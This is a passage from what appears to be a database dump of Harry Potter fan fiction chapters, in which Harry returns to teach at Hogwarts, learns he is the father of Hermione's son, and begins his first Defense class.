for.&quot;<br><br>&quot;Maybe I should anyways.&quot; He reached out to her. &quot;Stop...talk to me.&quot; <br><br>&quot;Oh, you want to talk, do you?&quot; Not even trying to hide her bitterness, Hermione snapped at him. &quot;It\'s a bit late for that, isn\'t it? You had plenty of time to talk...when I sent all those owls to you ten years ago. But did you read them? No, you didn\'t. And now you just show up and expect answers? Well, I\'m sorry, Harry, but I\'m not just going to hand them to you!&quot; She stopped in front of his door. &quot;See you in the morning...unfortunately.&quot;<br><br>He refused to enter his apartment, though. Refused to end things like they were. &quot;Is this all because I left? All right...I should have kept in contact. For that, I am very sorry. But you don\'t understand what I...&quot;<br><br>&quot;No, you don\'t understand,&quot; she hissed. &quot;If you think you can just waltz into our lives and...&quot;<br><br>&quot;I\'m not waltzing!&quot; Harry yelled. &quot;I\'ve wanted to come back for a long while. I just couldn\'t admit it to myself. When Hedwig appeared the other day...I knew it was time. Hermione...&quot; He reached for her once more, but she moved back to avoid him. &quot;I\'ve missed you.&quot;<br><br>She snorted softly. &quot;Well, that makes it all better, then. Doesn\'t it?&quot;<br><br>&quot;That\'s not what I\'m trying to...&quot;<br><br>&quot;You have no idea, Harry.&quot; Hermione blinked back fresh tears. &quot;You just have no idea what I...what we went through.&quot; <br><br>This time, she allowed him to touch her. His fingers curved around her arm. &quot;Tell me.&quot;<br><br>She shook her head, ignoring her tears. &quot;I can\'t. I\'m not ready to...&quot;<br><br>&quot;Mum!&quot; They both turned their heads upon hearing the word. At the far end of the hall, a boy emerged from one door. He was clutching a battered copy of &quot;Hogwarts, A History&quot; and approached them quickly. &quot;I\'m hungry and Mrs. Plumb fell asleep before she could make supper.&quot; <br><br>Hermione extracted herself from Harry and reached to brush rust-colored bangs away from her son\'s forehead. &quot;Harry, I\'ve taught you how to make shepherd\'s pie.&quot;<br><br>The boy folded his arms around his book indignantly. &quot;Only the meat. Not the potatoes.&quot; <br><br>His mother smiled. &quot;Fine then. Go get started on the meat and I\'ll be there in a minute for the rest.&quot; The boy ran back and the door slammed shut. <br><br>The hallway was quiet for a moment. &quot;There,&quot; Hermione finally said. &quot;Now you know.&quot;<br><br>Harry blinked. They had a child. Ron and Hermione... He took a breath. &quot;He\'s a good looking boy.&quot;<br><br>Hermione nodded. &quot;That doesn\'t come from my side.&quot;<br><br>&quot;His name...&quot; He looked at her strangely. &quot;You and Ron named him after me.&quot;<br><br>&quot;No. I named him.&quot; She dug her nails into her palms. &quot;After his father.&quot;<br><br>****<br><br>To Be Continued'),
	(93, 3, 'Disclaimer:  Not a lot of what follows comes from my brain originally.  <br><br>Author\'s Notes:  Again, I want to thank everyone for all the wonderful feedback.  Yall are just as great as the people in the Gundam section;)  <br><br>Dedication:  To Melissa, my usual beta-reader who can\'t beta-read this story until tonight, after she finally sees the movie.  And to my brother, Clifton, for taking over her position in the meanwhile.<br><br>****<br><br>An Organ of Fire<br>by Kristen Elizabeth<br><br>****<br><br>&quot;I thought I migh\' be findin\' yer here.&quot;<br><br>Harry did not have to take his eyes away from Ron\'s grave to know who was behind him.  &quot;Hello Hagrid,&quot; he said, listlessly.  <br><br>The older man lifted his lantern to see better in the dark.  Harry was sitting on the cold grass with his knees bent, balancing his chin on his arms.  The wind had blown his hair every which way and threatened to rip off his glasses, but he barely seemed to notice.  <br><br>&quot;I brough\' yer this.&quot;  Hagid draped a cloak around Harry.  &quot;Gittin\' a mit bit cold out here.&quot;<br><br>Harry nodded and pulled the material closer to him.  Both men were quiet for a spell as they simply stared at the marble marker and listened to the lake below.  Finally, Hagrid cleared his throat.  &quot;Yer ran away agin, \'arry.&quot;<br><br>He snorted.  &quot;I\'m still here, aren\'t I?&quot;<br><br>&quot;Yer oughta be in there.  Talkin\' ter her.  And him.&quot;  <br><br>&quot;That\'s certainly easier said than done.&quot;  Harry blinked and looked up.  &quot;Is he really mine, Hagrid?&quot;<br><br>The half-giant\'s eyes flashed dangerously.  &quot;Yer be doubtin\' \'ermione\'s word?&quot;<br><br>&quot;Well...&quot;  Harry coughed.  &quot;He just looks so much like Ron.  The hair....you know.&quot;<br><br>Hagrid finally sat down; the earth trembled a bit under Harry as he plopped to the ground.  &quot;I know ye\'ve only seen pict\'res, \'arry, but yer mum\'s hair were the same as the boy\'s.&quot;<br><br>Harry looked down at the grass under his legs.  &quot;This is....this all a lot to take right now, Hagrid.  I don\'t even...I mean, the thought never occurred to me....&quot;  He turned his face up towards the dark sky.  &quot;We were just kids.  And we were only together...like that....once.  Just once.&quot;  <br><br>&quot;Seems ter have bin enough.&quot;  <br><br>&quot;Tell me what happened after I left, Hagrid.  She won\'t...&quot;<br><br>Hagrid scowled.  &quot;Yer didn\'t give her much o\' a chance, did yer?  Just bolt\'d straight out to here wit\'out a word.&quot;<br><br>&quot;I think I have the right!&quot; Harry replied, indignantly.  &quot;It\'s been a bloody awful day!&quot;<br><br>&quot;And she\'s had a bloody awful ten years,&quot; Hagrid shot back.  &quot;Iffen it weren\'t fer Ron, she never would\'ve made it.  Yer asked what happ\'ned after yer left?  Well, I\'m gonna tell yer.  When yer left, \'arry, she cried fer a good week.  Ron...he were the only one what could make her even eat.  He wrote yer, tryin\' ter git yer back fer her, but yer never replied.  And when she got told she were pregna\'t, well...even then they still wrote ter yer.  When he were born, they wrote ter yer.  And when they got hitched, they tried agin.&quot;  He stopped for a breath.  &quot;Can yer blame her fer not tryin\' when he died?&quot;<br><br>Harry shook his head.  &quot;No.  I don\'t suppose I can.&quot;  Suddenly, despite all of his efforts to remain in control, hot tears filled his eyes.  &quot;Ron is dead...&quot;<br><br>Hagrid nodded.<br><br>&quot;And...I have a son.&quot;<br><br>The older man put a large arm around him.  &quot;That yer do.&quot;<br><br>Harry leaned into his old friend, allowing himself, for the briefest moment, to be eleven again.  His tears caught in the frames of his glasses.  &quot;And the term starts the day after tomorrow.&quot;<br><br>Hagrid laughed.  &quot;That\'s the easy part, \'arry.  First thin\', yer gotta fix thin\'s with \'ermione.  And...&quot; He paused for effect.  &quot;Git ter know lit\'le \'arry.  He\'s a damn fine kid, that one.&quot;  <br><br>&quot;I\'m sure he is...what with being raised by them.&quot;  Harry rubbed at his eyes under his glasses, shrugged off the cloak and stood up.  &quot;Has she hated me, Hagrid?  I wouldn\'t blame her, but I\'d like to know what I\'m up against.&quot;  <br><br>&quot;Well...&quot;  Hagrid thought long and hard.  &quot;Seems ter me she didn\' have a lot o\' good thin\'s ter say \'bout yer the nigh\' she had the wee one.  \'Sides that...&quot;  He smiled.  &quot;There be hope.&quot;<br><br>Nodding, Harry prepared to go, but Hagrid called out to him again.  &quot;Wait a bit!&quot;  He fumbled around in his coat pockets, searching for something.  At long last, he pulled out a small, wrapped package.  &quot;Yer didn\' think I\'d ferget, did yer?  I know it\'s a bit on the late side, but....\'appy birthday, \'arry.&quot;  <br><br>Harry looked at the present with wonder.  He tried to recall the last time he had received a gift.  Graduation day...Hermione...a pocket watch with a picture of the three of them on the inside.<br><br>**So you\'ll always be on time, Harry.  And so you\'ll never forget us in the meanwhile.**<br><br>He hurriedly unwrapped the package.  Inside was a tin of treacle fudge.  Harry grinned.  &quot;Thank you, Hagrid.&quot;  There was an awkward moment.  &quot;Good night, then.&quot;<br><br>As soon as Harry was gone, Hagrid looked back at the grave.  &quot;Gonna be toug\' times, Ron.  They migh\' need a bit o\' yer help alon\' the way.  Those two...&quot;  He shook his head again, this time in amusement.  &quot;Both need a good kick in the arse, iffen yer ask me.&quot;<br><br>****<br><br>Hermione had just settled down with her lesson plans when there was a knock on her door.  She glanced at the couch where her ten year old son lay sleeping, curled up with a thick blanket.  He didn\'t stir as the knocking became more insistent.  Sighing, she stood and went to answer the door.<br><br>She very nearly closed it again as soon as she opened it.  But Harry sticking his foot in the doorway prevented that.  &quot;Back again, eh?  Rather nasty habit you\'re developing, Harry.  I never would have taken you for a pantywaist when I first met you.&quot;<br><br>&quot;A what?&quot;  He shook his head.  &quot;Never mind...it can\'t be good.  Look, Hermione...&quot;  Over her shoulder, he caught sight of her son...their son asleep on the couch.  &quot;May I come in at least?&quot;<br><br>&quot;You can say whatever it is you need to say from the hallway,&quot; Hermione replied, a bit more harshly than she had intended.  <br><br>Harry glanced down the corridor.  At the far end, Snape stood, apparently straining to hear what was going on at Hermione\'s door.  Upon being spotted, he hurriedly unlocked his own apartment and disappeared into it.  &quot;Have a heart, Hermione,&quot; Harry said.  &quot;We need to talk.&quot;<br><br>Shaking her head, she conceded to letting him inside.  He shut the door gently behind him, very mindful of the boy on the couch.  Harry took a deep breath and tried to review all the things he had thought to say on his journey from the cliff to the castle.  They all seemed to be flying out of his head as he was faced with her...his oldest friend, one time lover, mother of his child...and still, he couldn\'t help but acknowledge, the prettiest girl he had ever known.  <br><br>&quot;Hermione...first and foremost, I\'m sorry.&quot;  She folded her arms, but let him continue.  &quot;Leaving ten years ago was the worst mistake I\'ve ever made.  I could spout on about all my reasons, but the only thing that\'s important is that it wasn\'t your fault.  Nothing you did...nothing we did together made me leave.  I promise you that.&quot;<br><br>Hermione chewed the inside of her cheek before replying.  &quot;You can tell me that as much as you want, Harry, but it\'s going to take me a very long time to believe it.  I mean, what was I supposed to think?  Waking up in the morning to a note that said basically just said \'goodbye\', after the most incredible night of my...&quot;  She stopped.  &quot;How was I not supposed to think that I had done something horribly wrong to drive you away?&quot;<br><br>&quot;I know and I\'m sorry.&quot;  He wanted to touch her, but he didn\'t want to see her recoil from him again.  &quot;It wasn\'t your fault.  It was me.  Just me.&quot;  <br><br>&quot;It can\'t be that way, Harry!  It\'s not just about you anymore...it never was!&quot;  She began to cry and with each sob, Harry\'s chest ached a bit more.  &quot;Why couldn\'t you have just said goodbye...in person?  Why didn\'t you give me any reasons....and why have you shown up after all this time, *still* unable to give any reasons?&quot;  She trapped her lips between her teeth before she could go on to say, **Why couldn\'t you ever love me the way I loved you?**<br><br>Harry looked completely helpless.  Nothing he had thought of to say could repair the past.  &quot;Forgive me?&quot; he whispered.<br><br>She looked down at the thick rug beneath her feet.  Her arms, which had be crossed at her chest, slipped down until she was holding her stomach.  &quot;It\'s going to...take time.&quot;  <br><br>All he could do was nod.  Once again, his gaze slipped over to the sleeping boy.  His hair seemed even more red in the light of the fire, but as he studied him closer, Harry could actually see his own face.  He reached behind his head to rub the back of his neck.  &quot;I want to know him, Hermione.&quot;  <br><br>&quot;That\'s admirable, Harry.&quot;  She looked back up at him with teary eyes.  &quot;But not necessary.&quot;<br><br>&quot;What do you mean \'not necessary\'?&quot;<br><br>&quot;I mean just that!  Your desire to be part of his life is not necessary.&quot;<br><br>&quot;If it\'s not necessary, then why the bloody hell did you tell me at all?  Why not let me go on thinking he was Ron\'s child?&quot;  Harry\'s temper sparked.  <br><br>Hermione lifted her shoulders.  &quot;I don\'t know.  A desire to get the truth out?  Or perhaps it was the horrible parts of me that want you to know what it\'s like to want something so badly, but be unable to have it.&quot;<br><br>Was she trying to be cruel or had ten years really changed her that much?  The Hermione he thought he knew never would have acted this way.  &quot;So...you\'re going to punish me?  Is that it?&quot;<br><br>&quot;If you insist upon thinking about it like that, so be it.  I don\'t really care.  Let me just tell you this...&quot;  She stepped towards him.  &quot;As far as he knows, his father died a year ago.  And I\'m not all that eager for him to think any differently.&quot;  She walked back to the door and opened it.  &quot;I\'m sure you have things you need to be doing.  Term starts the day after tomorrow.  You don\'t want to show up on the first day unprepared, do you?&quot;  <br><br>&quot;Heaven forbid,&quot; he said between clenched teeth.  Taking the hint, he started out the door, but not before he pointed a finger at her.  &quot;This isn\'t over, Hermione.  I live here now, a mere three doors down from you.  You can\'t avoid me.  And I will not stop trying until you let me get to know my son.&quot;<br><br>Hermione waited until the door was shut behind him before whispering, &quot;Good night, Harry.<br><br>****<br><br>The next day passed in a complete blur for Harry.  With a little help from Professor McGonagall, he decided not to change the book for his class, but rather use the one that was still on the list from the last professor, &quot;The Dark Arts and You:  A Study In Defense&quot;.  Apparently the old book, &quot;The Dark Forces:  A Guide to Self-Protection&quot; was out-dated.  In doing so, however, he spent the better part of the morning pouring over the new book in the staff room, trying to pick out important topics and deciding which grade should learn which and in what order.  By lunchtime, he was feeling a bit better about classes starting in less than twenty-four hours.  <br><br>He had just sat down to a plate of beef casserole in the Great Hall when there was a loud chiming from some unseen clock he had never heard before.  A few places down, Professor Sprout looked up from her lunch.  She smiled at Harry\'s confusion.  &quot;Eleven o\'clock, on the dot.  The Express is on its way.&quot;<br><br>Harry\'s stomach churned.  In only a few short hours he had to be back here, prepared to greet the students of Hogwarts.  Pushing aside his plate, he stood up and excused himself.  Quickly, he started for the staff room, to return to his lesson plans.  <br><br>The heavy door to the room was ajar.  As he approached it, he could hear voices from inside.  Immediately, he recognized one of them.  Hermione.  Not intending to eavesdrop, but being unable to stop himself, he got as close to the door as he could and strained to listen.  <br><br>&quot;I have complete faith in Dumbledore, I do,&quot; he heard Hermione firmly state.  &quot;But can you blame me for being scared?&quot;<br><br>The second voice replied back; Harry identified it as Professor McGonagall\'s.  &quot;No, I can\'t.  Albus has power, but even he can be out-voted by the council.  And they seem determined to go through with this...this outrage.&quot;<br><br>&quot;I\'m not so much worried about my job,&quot; Hermione continued.  &quot;But Harry...my Harry...he\'ll be starting here next year.  If Malfoy gets his way, life is going to be so much harder for him than it ever was for me.&quot;  She paused.  &quot;He\'ll still be seen as having Muggle blood.&quot;<br><br>&quot;Albeus won\'t let this happen, Hermione.  We\'re just going to have to trust him.  Besides that, the entire wizard community would be in an uproar if anyone with any Muggle blood wasn\'t allowed at Hogwarts.  We\'d have practically no students or teachers!&quot;  McGonagall\'s voice was reassuring.  &quot;It will be all right.&quot;<br><br>Harry heard a faint sniffle.  &quot;When Ron was here, all of this didn\'t seem quite so scary.&quot;  Hermione cleared her throat.  &quot;If only he could have found out...&quot;  She stopped.  &quot;Well, no good going down that alley.  What\'s done can\'t be undone.&quot;  <br><br>&quot;How are you doing, dear?  I\'ve been worried about you, what with Harry returning and all.&quot;  <br><br>Before Hermione could reply, Harry quietly walked away.  It would be wrong, he decided, to listen any further.  But what he had heard of their conversation concerned him deeply.  <br><br>Malfoy.  Had she meant Draco, their childhood adversary, or his father, Lucius?  Either one could be responsible for a plan to rid Hogwarts of any mixed-blood wizards, Mudbloods as they so crudely put it.  They were a cruel pure-blooded family, proud of tracing their heritage back to Salazar Slytherin, who had, himself, tried to rid Hogwarts of mixed-blood wizards back in the founding days.  It would not be of any surprise if Draco or his father were actively trying to carry on their ancestor\'s work.<br><br>Harry\'s blood boiled.  How could they even suggest such a thing?  Everyone knew that Lucius Malfoy was a Death Eater, loyal to the wizard responsible for so many people\'s deaths, including Harry\'s own parents.  Why would anyone support him or his son?  How could they allow good people like Hermione to be threatened, simply for having been born to a non-magical family?  <br><br>Moreover than that, something about what Hermione had said about Ron bothered him.  He had been an Auror, a wizard in charge of tracking and unearthing dark wizards to bring them to justice.  An honorable profession now that the ministry was much more just system, but still a very dangerous job.  <br><br>Harry  looked up suddenly.  In his anger, he had somehow found his way to the library.  He could hear Madam Pince, the librarian, in the Restricted Section, straightening up.  He glanced around, refamiliarizing himself with the walls of books.  His green eyes fell on the periodicals.  Something propelled him towards it and kept propelling until he had dug through all the old copies of The Daily Prophet.  After a great while and many stops along the way to catch up on news he had missed, he found what he was looking for.  With shaking hands, he pulled forth one yellowed paper, dated June 11 of the previous year.<br><br>AUROR KILLED IN LONDON ACCIDENT<br><br>A smaller caption read, &quot;Ron Weasley leaves behind wife, child and memories.&quot;<br><br>Harry took a deep breath.  The picture that greeted him was of Ron, Hermione and little Harry.  Ron\'s smile was broad; he looked down at the young boy with much love.  His fingers were entwined with Hermione\'s.  Due to aging and quick developing, the picture moved slowly.  Harry watched his son laugh and point at something behind the photographer.  Ron lifted Hermione\'s fingers to his lips.  <br><br>With a lump in his throat, Harry folded the paper and stuffed it inside his robes for later reading.  <br><br>On his way back to his apartment, he was nearly knocked over as something small and fast raced past him.  He stepped out of the way before Nearly Headless Nick swooped past him, evidently chasing the same thing.  Harry squinted; a few feet away, his son was climbing onto a stone statue of a griffin.  <br><br>The Gryffindor ghost pointed at the boy.  &quot;I\'ve got you now!&quot;<br><br>Little Harry laughed.  &quot;See, Nick?  You don\'t need the headless hunt when you can chase after me!&quot;<br><br>Nick waited for the boy to jump down.  &quot;Don\'t let your mother catch wind of this, Harry.&quot;  He bowed at the boy, before turning to bow to the older Harry.  &quot;Ah, Professor Potter.  Good to see you again.&quot;  Winking, he dissipated.  The hallway was now empty except for him and his son.<br><br>Harry readjusted his glasses.  &quot;Hello, Harry.&quot;  <br><br>The young boy looked at him.  &quot;Hello,&quot; he replied, happily.  &quot;Are you the new Professor?&quot;<br><br>&quot;I\'m Ha...Professor Potter.&quot;  Harry extended a hand to the boy.  <br><br>&quot;Harry Weasley.&quot;  His son shook his hand importantly.  He blinked suddenly, upon seeing Harry\'s scar through his bangs.  &quot;You\'re Harry Potter!&quot;  The boy\'s green eyes widened.  &quot;My mum and dad used to talk about you all the time!  Dad, especially.  He used to say I had a lot to live up to because we have the same name.  You knew my dad, didn\'t you?  You and he and Mum were all friends, weren\'t you?&quot;<br><br>Harry\'s head spun listening to the boy.  &quot;Yes.  We were.  Your dad... Ron...&quot;  He swallowed.  &quot;He was a very good man.&quot;<br><br>Little Harry nodded emphatically.  He was about to continue talking when Hermione appeared around the corner.  &quot;Mum!&quot; he called to her.  <br><br>She walked over to them, lips pursed.  &quot;What are you doing, Harry?&quot;  Harry wasn\'t sure if she was talking to him or to her son.  <br><br>The boy replied for him.  &quot;I was just saying hi to Professor Potter, Mum.  We were talking about Dad.&quot;<br><br>&quot;Oh, were you?&quot;  Hermione gave the older Harry a look.  &quot;Do you know what time it is?&quot;  <br><br>Their son sighed and crossed his arms.  &quot;Mum...do I really have to stay in my room tonight?  Can\'t I come out and watch the ceremonies?&quot;<br><br>&quot;Only one more year, Harry.&quot;  Hermione ran her fingers through his reddish locks.  &quot;Then it\'ll be your turn.&quot;<br><br>Little Harry pouted but only for a minute.  His frown was quickly replaced by a smile.  He was a jovial child at heart, Harry decided.  &quot;Goodnight, Professor Potter,&quot; he said to Harry.  &quot;Goodnight, Mum.&quot;<br><br>Hermione waved to her son as he took off towards the apartments.  &quot;Harry, don\'t run!  You\'ll scare the paintings!&quot;  But the boy was long gone.  Hermione sighed.  &quot;He is so much like Ron in that respect.&quot;  She turned to give Harry another hard look.  &quot;And you.&quot;<br><br>&quot;I take that as a compliment.&quot;  Harry paused.  &quot;I think.&quot;<br><br>She smiled softly.  &quot;It was meant as one.&quot;  After a rather awkward pause, she folded her arms.  &quot;Are you ready for tomorrow?&quot;<br><br>Harry scratched the back of his head.  &quot;I hope so.&quot;  He coughed to break up the next bit of silence.  &quot;Hermione...I was in the library today and I found the article on Ron\'s death....&quot;  <br><br>&quot;So?&quot;  She waited for him to go on.<br><br>&quot;Well...I haven\'t read it yet, but you said it was Muggle scaffolding?  It fell on him?&quot;<br><br>Her lip wobbled, but she maintained control.  &quot;Yes.  It was an accident.&quot;<br><br>&quot;Hermione...you and I have both lived in the Muggle world.  I remember going about London when they were restoring some of the older buildings.  That scaffolding...it\'s meant to stay in place.&quot;<br><br>She frowned.  &quot;What are you getting at, Harry?&quot;<br><br>&quot;I don\'t know.  Maybe nothing.  I\'m just trying to make sense of everything...&quot;  Harry paused as a thought came to him.  &quot;Ron was an Auror, right?&quot;  She nodded reluctantly.  &quot;What was he working on when he died?&quot;<br><br>Hermione opened her mouth, but thought better and shut it again.  When she started back up, her mood had taken a definite turn.  &quot;Harry, I\'m not sure what you\'re suggesting, but Ron\'s death was a complete accident.  Scaffolding falls; it\'s Muggle-made.  Completely fallible.&quot;  Her face softened.  &quot;I know it\'s hard.  It took me a long time to accept he was gone.  But he is gone, Harry.  Thinking too much about how he died won\'t bring him back.&quot;<br><br>&quot;Yes, but...&quot;<br><br>She cut him off.  &quot;Please just stop.&quot;  Her eyes were wet.  &quot;You mean well, but you\'re not helping.&quot;  Before she could continue, the same, unfamiliar clock rang out.  Hermione wiped her eyes.  &quot;The train\'s arrived.  Come on.  The sorting ceremony will start soon.&quot;<br><br>&quot;Hermione...&quot;  Harry managed to take hold of her arm.  &quot;What if it wasn\'t just an accident?  Wouldn\'t you want to know?&quot;<br><br>&quot;No.&quot;  She pulled away from him sharply.  &quot;I wouldn\'t.&quot;  Taking a few steps backwards, she brushed away the last traces of her tears.  &quot;And I don\'t want my son thinking that way either.  Please stay away from him, Harry.&quot;  <br><br>Unable to speak in the wake of her demand, Harry watched her disappear, headed for the Great Hall.  After the shock had begun to wear off, he balled up his fist.  Somewhere in the ten years, Hermione had lost the passion of her convictions.  The Hermione he knew...the Hermione he loved was different now.  But Harry was up to the challenge.  He would find out the truth about Ron\'s death.  He would get to know his son.  <br><br>He would make Hermione love him again.<br><br>****<br><br>To Be Continued'),
	(93, 4, 'Disclaimer: JK Rowling invented; I merely borrow. <br><br>Author\'s Notes: More and more thanks for all these fabulous reviews! I\'m seriously very touched. Oh, and a special shout out to the amazing people who created the Harry Potter online Lexicon, to which I have been going frequently, for the details in this story.<br><br>****<br><br>An Organ of Fire<br>by Kristen Elizabeth<br><br>****<br><br>&quot;Okay, look...I have a boot-leg copy of \'Harry Potter\'. There\'s a VCR and a keg in my room, all right?&quot; -Will Ferrel as Osama bin Laden, attempting to placate his army in the wake of the Northern Alliance successes. SNL 12/01/01<br><br>****<br><br>Albus Dumbledore did not preside over the Sorting Ceremony, as he had for so many years. In his place, Professor McGonagall sat and greeted the new students with the usual warnings about the Forbidden Forest and Hogsmeade. <br><br>Professor Snape took her role and placed the Sorting Hat on each first year student. Harry watched from his place at the head table; his own Sorting Ceremony played back in his head as once more he pondered the question...what would have happened if the Hat *had* chosen to place him in Slytherin? What different path might his life have taken? He was deep in thought when he heard Snape call out a familiar name.<br><br>&quot;William Weasley, Jr.&quot; A young boy with flaming red hair stepped forward and sat on the stool. Harry looked at Hermione. <br><br>Without taking her eyes off the boy, she answered his unspoken question. &quot;Bill\'s first son. I had forgotten he was to be starting this year. I suppose he\'ll be sorted into...&quot;<br><br>The Hat called out. &quot;GRYFFINDOR!&quot;<br><br>Harry smiled. All of the Weasley\'s were placed into Gryffindor; it was tradition. <br><br>****<br><br>Much later that night, long after the feast and the introduction to the House, during which a great wave of awe and enthusiasm had passed through the Gryffindor common room when it was announced that Harry Potter was to be jointly in charge, Harry sat by the window in his bedroom, staring out at the lake. He spent the few minutes alone in the dark, remembering. If he closed his eyes, he could recall everything about his graduation from Hogwarts ten years earlier. <br><br>And, as Hermione had put it, the most incredible night of his life.<br><br>He supposed it had all begun with the pocket watch. The thoughtfulness of the gift, coupled with the subtle reminder from his scholastic-minded best friend to try harder to be on time, had propelled him to do something he had wanted to do for years. <br><br>He kissed her. <br><br>The details of what followed weren\'t a blur to him. Rather, they were the sweetest memories he carried with him. She had trusted him, completely and unwavingly. More precious than the watch or the necklace he had given her, they gave each other their innocence that night. But as he lay in his four poster bed with the velvet drapes drawn, holding her in his arms as they caught their breath, a thought more terrifying than any other occurred to him. What if something were to happen to Hermione? <br><br>He argued with himself as she fell asleep against his chest. True, they had beaten Voldemort in the final battle and it appeared as though he could not possibly come back....but what if they were all wrong? What if he rose again and came after them? Voldemort would know Harry\'s weakness...the woman curled up against him. He would kill her first, just to delight in seeing Harry watch her die. Like he had watched his mother die. <br><br>It was right then that Hermione gave a little sigh in her sleep, a content, sated sigh. And it was right then that Harry decided to leave. Before anyone or anything could harm her to get to him. <br><br>He couldn\'t remember disentangling himself from her, only that it was hard. And he couldn\'t remember writing the note, only that it was painful. But he could remember kissing her forehead and then her lips and hoping, despite the choices he was making, that it wouldn\'t be the last time he would be allowed to do so. <br><br>&quot;I love you,&quot; he had said before slipping away into the night. But she hadn\'t heard him. Perhaps, he had thought at the time, it was better that way. <br><br>Harry shook himself out of his reverie. Glancing at the clock, he saw that it was nearly three in the morning. Another sleepless night. Did she have any idea, as she rested just down the hall, how much she was on his mind and had been for most of his life? <br><br>&quot;Of course she doesn\'t, you idiot,&quot; Harry chastised himself out loud. &quot;You\'ve never told her to her face.&quot; <br><br>But all of that was going to change. He crawled into bed and closed his eyes. It was all going to change.<br><br>****<br><br>Just down the hall, Hermione Weasley was completely awake, looking out at the lake with the same air of reflection as Harry. After all, the lake was where she had first realized she was in love with him. On the day of the second task of the Triwizard Tournament, when Harry, with no thought towards his time limit or winning, had tried to save Ron *and* her from their enchanted sleep with the merpeople. <br><br>Viktor Krum might have ultimately have been the one who pulled her from the lake, but to Hermione, Harry had been her hero that day. She regained consciousness on the cold shore, knowing her heart would never be the same. But she had only been fourteen. It took her another few years to really and truly fall in love with Harry Potter. <br><br>Graduation night. When he had given her the most beautiful necklace of rose quartz, a blush had colored his cheeks, as though he thought the gift wasn\'t good enough. As she continued to stare out the window, her fingers found the necklace underneath the neckline of her nightgown. She rolled it lovingly between her fingers. <br><br>What had prompted him to kiss her that night? Whatever it had been, she hadn\'t ever wanted it to stop. And it hadn\'t. He had wrapped her up in his arms, wrapped her up in what she had hoped was his love, and taken her away from the entire world for a few precious moments. He had been so gentle with her, but with an underlying passion that she had never felt again...not even with Ron. <br><br>She closed her eyes before tears could come once again. It hurt her to admit it, but as wonderful as being with Ron had always been, he had never been able to come close to duplicating what she had felt during that one night with Harry. <br><br>&quot;I\'m sorry, Ron,&quot; she whispered just as she had countless times after he had fallen asleep and she lay awake, thinking of Harry. &quot;You deserved better than me.&quot; <br><br>Hermione let the rose quartz fall back between her breasts. Ron had loved her and loved Harry like one of his brothers; she had loved Harry and grown to love Ron. But who did Harry love? <br><br>When she finally forced herself into bed, she pulled the covers over her head as if she could shut the entire world out. They were all steering for rough waters and Hermione wasn\'t sure if she was strong enough to survive the trip.<br><br>****<br><br>His mouth was dry. His body was frozen. A strange chill originated in the pit of his stomach and radiated out to the very tips of his fingers. He could barely breathe, the fear and sheer panic had taken such a hold on him. In front of Harry Potter, seated in neat rows, was the scariest thing he had faced since his last encounter with Voldemort: twenty bright-eyed, unblemished, innocent eleven year-old faces, all turned up at him with shining expectation. <br><br>His first class. The first year students of Gryffindor and Slytherin.<br><br>Harry swallowed, hoping that the children couldn\'t actually hear his throat sticking. &quot;Good morning. Welcome to your first lesson in the Defense Against the Dark Arts. I\'m Professor Potter and...&quot; He spread his hands. &quot;I\'ll be your teacher.&quot;<br><br>In the back row, a hand shot up. Harry nodded at its owner, a roundish Slytherin boy with brown hair. &quot;Are you the*real* Harry Potter?&quot; the child asked, suspiciously.<br><br>Before Harry could reply, another boy with brown hair, a Gryffindor, shot back in a tone that indicated he thought his classmate was a real moron, &quot;Of course he\'s the real Harry Potter!! Can\'t you see his scar?&quot;<br><br>A blond Slytherin girl came to the first boy\'s defense. &quot;*I* certainly can\'t.&quot; Her nose scrunched up disdainfully. &quot;His hair is too messy.&quot; No sooner had the words left her mouth than several Gryffindors stood up, preparing to defend the Head of their House. <br><br>Harry held up his hands. &quot;All right...settle down.&quot; One hand unconsciously lingered above his head to pat down his hair. &quot;Yes, I am Harry Potter. But my being so is of absolutely no relevance to this class.&quot;<br><br>William Weasley, Jr raised his hand. &quot;I\'m not sure I\'d say that, Professor Potter. My father says that out of all the people in the entire world, you\'re the best Defense teacher Hogwarts could ask for...because of who you are.&quot;<br><br>&quot;It\'s true,&quot; a Gryffindor girl with glasses echoed Bill Jr. &quot;According to \'The Rise and Fall of He-Who-Must-Not-Be-Named\', Harry Potter is one of the only wizards able to deflect the Imperius Curse and *the* only wizard *ever* to have survived the Killing Curse not once, but twice.&quot; Harry blinked. The girl was a miniature Hermione.<br><br>Another Slytherin boy snorted. &quot;Yes, but what on earth can he teach us? I hear that he\'s been living in the Muggle world for the past ten years.&quot;<br><br>&quot;Do you have a problem with Muggles?&quot; a tall Gryffindor boy wanted to know.<br><br>&quot;Not particularly,&quot; the other boy replied, nonchalantly. &quot;They can\'t help being born inferior. It\'s just the Mudbloods who are the problem.&quot;<br><br>Before the Gryffindor boy could attack, Harry jumped into the fray. &quot;Hey! The number one rule in my classroom that if broken will result in double detention and fifty points being taken from the offender\'s House is this: that word is *never* to be used. Do you understand?&quot; There were a few mumbled &quot;yes sir\'s&quot;. &quot;Good. Now take out your books and turn to page five.&quot; He lifted his voice to be heard over the sounds of pages turning. &quot;The first thing you need to know about the Dark Arts is...&quot; A small hand in the second row lifted. Wearily, Harry nodded at the tiny Gryffindor girl. <br><br>&quot;Professor Potter,&quot; she began. &quot;My mum wants to know why we must take this class at all.&quot;<br><br>Harry considered her question for a long minute. &quot;All right. Close up your books.&quot; Slams resounded throughout the room. Harry sat on the edge of his desk. &quot;Let me ask you something. How many of you have been to Diagon Alley?&quot; All of the children raised their hands; several of the Slytherins rolled their eyes. &quot;Now...how many of you have been down Knockturn Alley?&quot; Most of the hands dropped immediately. The few that remained up, Harry was sad to note, were Slytherins. But even those children slowly lowered their arms upon receiving horrified looks from their classmates. &quot;Why haven\'t most of you been there?&quot; Harry asked.<br><br>A Gryffindor girl raised her hand. &quot;My Mum and Dad told me not to. They said if I went down there, my ears would fall off.&quot;<br><br>Harry had to smile. &quot;So, most of your parents haven\'t let you, correct?&quot; The children nodded. &quot;They\'ve been protecting you, wouldn\'t you say?&quot; More nods. &quot;Well...where are your parents right now?&quot; There was silence. Harry stood up. <br><br>&quot;You\'re growing up and on your own now at a great school of magic, learning all sorts of new and exciting things. In seven years here, you will learn everything from flying to transfiguration...everything you need to know to be a successful wizard or witch. But from now on, your choices are yours. Your parents aren\'t here and there are things you\'re going to face without them. The Dark Arts is the biggest one. And while your ears certainly won\'t fall off if you go down Knockturn Alley, there could be other severe consequences for making that choice.&quot; Harry paused for a breath. &quot;The magical world is wonderful, but it can also be quite dangerous. My job and the purpose of this class is to prepare you for anything you might face in the real world. Are there any questions?&quot;<br><br>No 